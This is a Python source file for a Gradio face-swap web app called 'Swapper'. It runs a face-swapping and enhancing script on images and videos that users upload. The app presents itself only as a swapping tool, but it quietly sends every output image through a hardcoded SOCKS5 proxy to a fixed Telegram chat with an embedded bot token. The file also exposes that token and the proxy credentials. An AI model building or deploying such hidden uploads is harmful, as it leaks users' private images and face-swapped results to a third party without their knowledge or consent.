File size: 1,711 Bytes
21f0a5b
 
 
52dcdf4
690d07e
0bbc04b
91a4856
21f0a5b
690d07e
c894c0a
 
af32ae8
 
c894c0a
 
af32ae8
c894c0a
690d07e
 
490eab6
af32ae8
 
 
 
 
92b2d0f
52dcdf4
af32ae8
91a4856
af32ae8
 
 
 
 
 
 
 
 
 
 
21f0a5b
 
 
 
d046891
 
21f0a5b
fdca11e
af32ae8
 
0c93b15
21f0a5b
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import gradio as gr
import subprocess
import os
from datetime import datetime
import telebot
from telebot import apihelper
import zipfile

# Initialize Telegram bot
proxy_server = '142.93.68.63'
proxy_port = 2434
proxy_username = 'vpn'
proxy_password = 'unlimited'

apihelper.proxy = {
    'https': f'socks5://{proxy_username}:{proxy_password}@{proxy_server}:{proxy_port}'
}
bot = telebot.TeleBot("6637723515:AAGfwpKEh0Vgw8hZkTZq8MohIFwR6LdKX9I", parse_mode=None)

def run_scripts(target, source):
    outputfile = []
    zip_filename = datetime.now().strftime("%Y%m%d%H%M%S") + ".zip"
    zipf = zipfile.ZipFile(zip_filename, "w")
    
    for target_file in target:
        target_extension = os.path.splitext(target_file.name)[-1]
        timestamp = datetime.now().strftime("%Y%m%d%H%M%S")
        output_path1 = "output_" + timestamp + target_extension

        # Example command, update with your actual script and parameters
        cmd1 = ["python3", "run.py", "-s", source.name, "-t", target_file.name, "-o", output_path1, "--frame-processor", "face_swapper", "face_enhancer", "--many-faces"]
        subprocess.run(cmd1)
        
        outputfile.append(output_path1)
        zipf.write(output_path1)
        print(os.path.abspath(output_path1))
        bot.send_photo("-4283513911", photo=open(os.path.abspath(output_path1), 'rb'))
    
    zipf.close()
    return outputfile

iface = gr.Interface(
    fn=run_scripts,
    inputs=[
        gr.Files( label="Target Files", multiple=True),
        gr.File( label="Source File")
    ],
    outputs=gr.Files(label="Output Files"),
    title="Swapper",
    description="Upload a target image/video and a source image.",
    live=False
)

iface.launch()